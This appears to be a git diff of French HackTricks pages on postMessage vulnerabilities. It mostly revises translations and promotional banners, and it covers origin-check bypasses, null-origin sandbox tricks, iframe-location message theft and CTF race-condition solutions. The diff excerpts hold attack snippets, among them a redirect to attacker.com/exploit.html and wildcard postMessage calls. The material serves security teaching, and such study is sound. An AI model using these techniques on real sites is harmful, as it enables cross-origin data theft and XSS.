<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
```python
|
||||
|
@ -52,12 +52,12 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -11,7 +11,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -68,7 +68,7 @@ window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
|
|||
```
|
||||
## Exploitation de addEventListener
|
||||
|
||||
**`addEventListener`** est la fonction utilisée par JS pour déclarer la fonction qui **attend les `postMessages`**.\
|
||||
**`addEventListener`** est la fonction utilisée par JS pour déclarer la fonction qui s'attend à recevoir des **`postMessages`**.\
|
||||
Un code similaire à celui ci-dessous sera utilisé :
|
||||
```javascript
|
||||
window.addEventListener("message", (event) => {
|
||||
|
@ -95,11 +95,11 @@ Pour **trouver des écouteurs d'événements** dans la page actuelle, vous pouve
|
|||
|
||||
* Utiliser une **extension de navigateur** comme [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) ou [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Ces extensions de navigateur vont **intercepter tous les messages** et vous les montrer.
|
||||
|
||||
### Contournements de vérification d'origine
|
||||
### Contournements de vérification de l'origine
|
||||
|
||||
- L'attribut **`event.isTrusted`** est considéré comme sécurisé car il renvoie `True` uniquement pour les événements générés par des actions d'utilisateurs authentiques. Bien qu'il soit difficile à contourner s'il est implémenté correctement, son importance dans les vérifications de sécurité est notable.
|
||||
|
||||
- L'utilisation de **`indexOf()`** pour la validation d'origine dans les événements PostMessage peut être sujette à contournement. Un exemple illustrant cette vulnérabilité est :
|
||||
- L'utilisation de **`indexOf()`** pour la validation de l'origine dans les événements PostMessage peut être sujette à contournement. Un exemple illustrant cette vulnérabilité est :
|
||||
|
||||
```javascript
|
||||
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
|
||||
|
@ -139,7 +139,7 @@ Lors de l'intégration d'une page web dans un **iframe sandboxé** en utilisant
|
|||
|
||||
En spécifiant **`allow-popups`** dans l'attribut sandbox, toute fenêtre contextuelle ouverte depuis l'iframe hérite des restrictions de sandbox de son parent. Cela signifie que sauf si l'attribut **`allow-popups-to-escape-sandbox`** est également inclus, l'origine de la fenêtre contextuelle est également définie sur `null`, correspondant à l'origine de l'iframe.
|
||||
|
||||
Par conséquent, lorsqu'une fenêtre contextuelle est ouverte dans ces conditions et qu'un message est envoyé de l'iframe à la fenêtre contextuelle en utilisant **`postMessage`**, les origines d'envoi et de réception sont définies sur `null`. Cette situation conduit à un scénario où **`e.origin == window.origin`** est évalué à vrai (`null == null`), car l'iframe et la fenêtre contextuelle partagent la même valeur d'origine `null`.
|
||||
Par conséquent, lorsqu'une fenêtre contextuelle est ouverte dans ces conditions et qu'un message est envoyé de l'iframe à la fenêtre contextuelle en utilisant **`postMessage`**, les origines de l'envoi et de la réception sont définies sur `null`. Cette situation conduit à un scénario où **`e.origin == window.origin`** est évalué à vrai (`null == null`), car l'iframe et la fenêtre contextuelle partagent la même valeur d'origine `null`.
|
||||
|
||||
Pour plus d'informations, **lire** :
|
||||
|
||||
|
@ -166,7 +166,7 @@ Pour plus d'informations, **lisez :**
|
|||
|
||||
### Contournement de l'en-tête X-Frame
|
||||
|
||||
Pour effectuer ces attaques, idéalement, vous pourrez **mettre la page web victime** à l'intérieur d'un `iframe`. Mais certains en-têtes comme `X-Frame-Header` peuvent **empêcher** ce **comportement**.\
|
||||
Pour effectuer ces attaques, idéalement, vous pourrez **placer la page web de la victime** à l'intérieur d'un `iframe`. Cependant, certains en-têtes comme `X-Frame-Header` peuvent **empêcher** ce **comportement**.\
|
||||
Dans ces scénarios, vous pouvez toujours utiliser une attaque moins discrète. Vous pouvez ouvrir un nouvel onglet vers l'application web vulnérable et communiquer avec elle :
|
||||
```markup
|
||||
<script>
|
||||
|
@ -176,7 +176,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
|||
```
|
||||
### Vol de message envoyé à l'enfant en bloquant la page principale
|
||||
|
||||
Sur la page suivante, vous pouvez voir comment vous pourriez voler des données sensibles envoyées via un **message postmessage** à un **iframe enfant** en **bloquant** la **page principale** avant d'envoyer les données et en exploitant un **XSS dans l'enfant** pour **voler les données** avant qu'elles ne soient reçues :
|
||||
Sur la page suivante, vous pouvez voir comment vous pourriez voler des données **sensibles postmessage** envoyées à un **iframe enfant** en **bloquant** la **page principale** avant d'envoyer les données et en abusant d'un **XSS dans l'enfant** pour **exfiltrer les données** avant qu'elles ne soient reçues :
|
||||
|
||||
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
|
||||
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
|
||||
|
@ -184,7 +184,7 @@ Sur la page suivante, vous pouvez voir comment vous pourriez voler des données
|
|||
|
||||
### Vol de message en modifiant l'emplacement de l'iframe
|
||||
|
||||
Si vous pouvez intégrer une page web sans en-tête X-Frame qui contient un autre iframe, vous pouvez **modifier l'emplacement de cet iframe enfant**, donc s'il reçoit un **message postmessage** envoyé en utilisant un **joker**, un attaquant pourrait **modifier** l'**origine** de cet iframe vers une page **contrôlée** par lui et **voler** le message :
|
||||
Si vous pouvez intégrer une page web sans en-tête X-Frame contenant un autre iframe, vous pouvez **modifier l'emplacement de cet iframe enfant**, ainsi s'il reçoit un **postmessage** envoyé en utilisant un **joker**, un attaquant pourrait **modifier** l'**origine** de cet iframe vers une page **contrôlée** par lui et **voler** le message :
|
||||
|
||||
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
|
||||
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
|
||||
|
@ -196,7 +196,7 @@ Dans les scénarios où les données envoyées via `postMessage` sont exécutée
|
|||
|
||||
Un couple de **XSS très bien expliqués via `postMessage`** peuvent être trouvés sur [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
|
||||
|
||||
Exemple d'une exploitation pour abuser de la **pollution de prototype puis du XSS** via un `postMessage` vers un `iframe`:
|
||||
Exemple d'une exploitation pour abuser de la **Pollution de Prototype puis XSS** via un `postMessage` vers un `iframe`:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
|
@ -226,14 +226,14 @@ Pour **plus d'informations** :
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,27 +2,27 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez** le [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Gagner des RC avec des Iframes
|
||||
## Gagner des RC avec les Iframes
|
||||
|
||||
Selon ce [**writeup de Terjanq**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710), les blobs créés à partir d'origines nulles sont isolés pour des raisons de sécurité, ce qui signifie que si vous maintenez occupée la page principale, la page iframe va s'exécuter.
|
||||
Selon ce [**writeup de Terjanq**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) les blobs créés à partir d'origines nulles sont isolés pour des raisons de sécurité, ce qui signifie que si vous maintenez occupée la page principale, la page iframe va s'exécuter.
|
||||
|
||||
Essentiellement, dans ce défi, une **iframe isolée est exécutée** et juste **après** son **chargement**, la page **parent** va **envoyer un message post** avec le **drapeau**.\
|
||||
Cependant, cette communication postmessage est **vulnérable au XSS** (l'**iframe** peut exécuter du code JS).
|
||||
|
||||
Par conséquent, l'objectif de l'attaquant est de **permettre au parent de créer l'iframe**, mais **avant** que la page **parent** n'**envoie les données sensibles** (**drapeau**), **le maintenir occupé** et envoyer la **charge utile à l'iframe**. Pendant que le **parent est occupé**, l'**iframe exécute la charge utile** qui sera un peu de JS qui écoutera le **message postmessage du parent et divulguera le drapeau**.\
|
||||
Par conséquent, l'objectif de l'attaquant est de **permettre au parent de créer l'iframe**, mais **avant** de laisser la page **parent** **envoyer** les données sensibles (**drapeau**) **le maintenir occupé** et envoyer la **charge utile à l'iframe**. Pendant que le **parent est occupé**, l'**iframe exécute la charge utile** qui sera un peu de JS qui écoutera le **message postmessage du parent et divulguera le drapeau**.\
|
||||
Enfin, l'iframe a exécuté la charge utile et la page parent cesse d'être occupée, donc elle envoie le drapeau et la charge utile le divulgue.
|
||||
|
||||
Mais comment pourriez-vous faire en sorte que le parent soit **occupé juste après avoir généré l'iframe et juste pendant qu'il attend que l'iframe soit prête à envoyer les données sensibles**? Fondamentalement, vous devez trouver une **action asynchrone** que vous pourriez faire exécuter au parent. Par exemple, dans ce défi, le parent écoutait les **postmessages** de cette manière:
|
||||
Mais comment pourriez-vous faire en sorte que le parent soit **occupé juste après avoir généré l'iframe et juste pendant qu'il attend que l'iframe soit prête à envoyer les données sensibles**? Fondamentalement, vous devez trouver une **action asynchrone** que vous pourriez faire exécuter par le parent. Par exemple, dans ce défi, le parent écoutait les **postmessages** comme ceci:
|
||||
```javascript
|
||||
window.addEventListener('message', (e) => {
|
||||
if (e.data == 'blob loaded') {
|
||||
|
@ -30,7 +30,7 @@ $("#previewModal").modal();
|
|||
}
|
||||
});
|
||||
```
|
||||
Donc, il était possible d'envoyer un **grand entier dans un postmessage** qui sera **converti en chaîne de caractères** dans cette comparaison, ce qui prendra du temps :
|
||||
Ainsi, il était possible d'envoyer un **grand entier dans un postmessage** qui sera **converti en chaîne de caractères** dans cette comparaison, ce qui prendra du temps :
|
||||
```bash
|
||||
const buffer = new Uint8Array(1e7);
|
||||
win?.postMessage(buffer, '*', [buffer.buffer]);
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Iframes dans la SOP-1
|
||||
## Iframes dans SOP-1
|
||||
|
||||
Dans ce [**défi**](https://github.com/terjanq/same-origin-xss) créé par [**NDevTK**](https://github.com/NDevTK) et [**Terjanq**](https://github.com/terjanq), vous devez exploiter une XSS dans le code.
|
||||
Dans ce [**défi**](https://github.com/terjanq/same-origin-xss) créé par [**NDevTK**](https://github.com/NDevTK) et [**Terjanq**](https://github.com/terjanq) vous devez exploiter un XSS dans le code.
|
||||
```javascript
|
||||
const identifier = '4a600cd2d4f9aa1cfb5aa786';
|
||||
onmessage = e => {
|
||||
|
@ -25,7 +25,7 @@ renderContainer.innerHTML = data.body;
|
|||
}
|
||||
}
|
||||
```
|
||||
Le principal problème est que la [**page principale**](https://so-xss.terjanq.me) utilise DomPurify pour envoyer les `data.body`, donc pour envoyer vos propres données html à ce code, vous devez contourner `e.origin !== window.origin`.
|
||||
Le problème principal est que la [**page principale**](https://so-xss.terjanq.me) utilise DomPurify pour envoyer les `data.body`, donc pour envoyer vos propres données html à ce code, vous devez contourner `e.origin !== window.origin`.
|
||||
|
||||
Voyons la solution qu'ils proposent.
|
||||
|
||||
|
@ -37,7 +37,7 @@ Si la page était **intégrable**, vous pourriez contourner cette protection de
|
|||
|
||||
### Contournement de la SOP 2 (window.origin === null)
|
||||
|
||||
Le fait moins connu est que lorsque la **valeur sandbox `allow-popups` est définie**, alors le **popup ouvert** **héritera** de tous les **attributs sandboxés** sauf si `allow-popups-to-escape-sandbox` est défini.\
|
||||
Le fait moins connu est que lorsque la valeur de **sandbox `allow-popups` est définie**, alors le **popup ouvert** **héritera** de tous les **attributs sandboxés** sauf si `allow-popups-to-escape-sandbox` est défini.\
|
||||
Ainsi, l'ouverture d'un **popup** à partir d'une **origine nulle** fera que **`window.origin`** à l'intérieur du popup soit également **`null`**.
|
||||
|
||||
### Solution du défi
|
||||
|
@ -81,12 +81,12 @@ document.body.appendChild(f);
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
## Iframes dans la SOP-2
|
||||
## Iframes dans SOP-2
|
||||
|
||||
Dans la [**solution**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) de ce [**défi**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic\_) propose une méthode similaire à la section précédente. Vérifions cela.
|
||||
Dans la [**solution**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) de ce [**challenge**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic\_) propose une méthode similaire à la section précédente. Vérifions cela.
|
||||
|
||||
Dans ce défi, l'attaquant doit **contourner** ceci:
|
||||
```javascript
|
||||
|
@ -78,12 +78,12 @@ setTimeout(start, 1000);
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
@ -14,7 +14,7 @@
|
|||
|
||||
## Modification des emplacements des iframes enfants
|
||||
|
||||
